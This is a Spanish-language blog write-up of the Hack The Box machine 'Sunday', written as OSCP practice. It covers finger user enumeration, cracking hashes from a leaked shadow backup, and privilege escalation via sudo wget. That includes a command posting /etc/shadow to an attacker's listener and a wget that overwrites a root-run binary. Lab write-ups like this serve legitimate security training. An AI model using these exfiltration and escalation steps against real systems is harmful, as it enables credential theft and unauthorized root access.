Road to OSCP - Hack The Box Write Up - Sunday

Blog

22
- Febr
2020
Road to OSCP - Hack The Box Write Up - Sunday

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

Sunday

Initial Foothold

El nmap inicial muestra un servicio de finger, que aparentemente se utiliza para consultar información sobre usuarios en The Box. Podemos aprovechar este servicio para enumerar los usuarios válidos. Para ello, podemos usar un guión de pentestmonkey, llamado finger-user-enum.

El script puede ser usado con una lista de palabras. Dando un paseo por la lista de palabras de SecLists, Creo que tenemos la mejor oportunidad con names.txt. perl finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76

Encontramos los siguientes nombres de usuario válidos:

  • access
  • admin
  • line
  • message
  • sammy
  • sunny

La pregunta es, ¿dónde nos registramos? Después de hacer un escaneo completo del mapa, descubrimos el puerto 22022. es en realidad un servicio de SSH: SunSSH 1.3 (protocol 2.0).

Si intentamos ssh como cualquier usuario, obtenemos el siguiente error: Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

StackOverflow al rescate (https://unix.stackexchange.com/questions/340844/how-to-enable-diffie-hellman-group1-sha1-key-exchange-on-debian-8-0). ssh admin@10.10.10.76 -oKexAlgorithms=+diffie-hellman-group1-sha1 -p 22022

Afortunadamente, el usuario es sunny y la contraseña es Sunday (nombre de The Box). Alternativamente, podríamos haber usado hydra para forzarla.

User

Haciendo sudo -l muestra que podemos ejecutar /root/troll como root sin contraseña. Desafortunadamente. Parece que el binario no hace nada útil.

Ejecutar lse.sh no ayudó mucho. Parece que tenemos que enumerar manualmente.

Después de dar un paseo por el sistema de archivos, encontramos /backup, que contiene shadow.backup.

shadow.backup

mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nadie:*LK*:6445::::::
No hay acceso... LK 6445..:
nadie4:*LK*:6445:::::
Sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::
soleado:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::

De ese archivo, podemos obtener el hash de la contraseña para el usuario sammy. Descifrándolo con jhon y el La lista de palabras de rockyou.txt da la contraseña de Sammy: ¡coolude!.

Ahora podemos entrar como usuario Sammy.

Root

Ejecutar lse.sh de nuevo muestra que podemos ejecutar wget como usuario root sin contraseña.

Una búsqueda rápida en GTFOBins y tenemos la forma de escalar privilegios.

  1. Ejecutar ncat en Kali: ncat -lnvp 6969 > shadow.
  2. Exfiltrar el archivo: sudo /usr/bin/wget --post-file=/etc/shadow http://10.10.14.13:6969

No pude descifrar la contraseña de root, así que en su lugar exfiltré "root.txt".

Bonus

Después de ver el video de Ippsec de este Box, resulta que puedes usar wget para sobrescribir el root/troll con un archivo diferente que sólo se ejecuta bash y lo ejecuta con el usuario sunny.

scuffed_privesc

#!/bin/bash
bash
  1. Como usuario Sammy: sudo wget 10.10.14.13:8000/scuffed_privesc -O /root/troll.
  2. Como usuario sunny: sudo /root/troll.

Nota: El archivo root/troll se reescribe cada 5 segundos, así que el ataque tiene que ser rápido.

Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.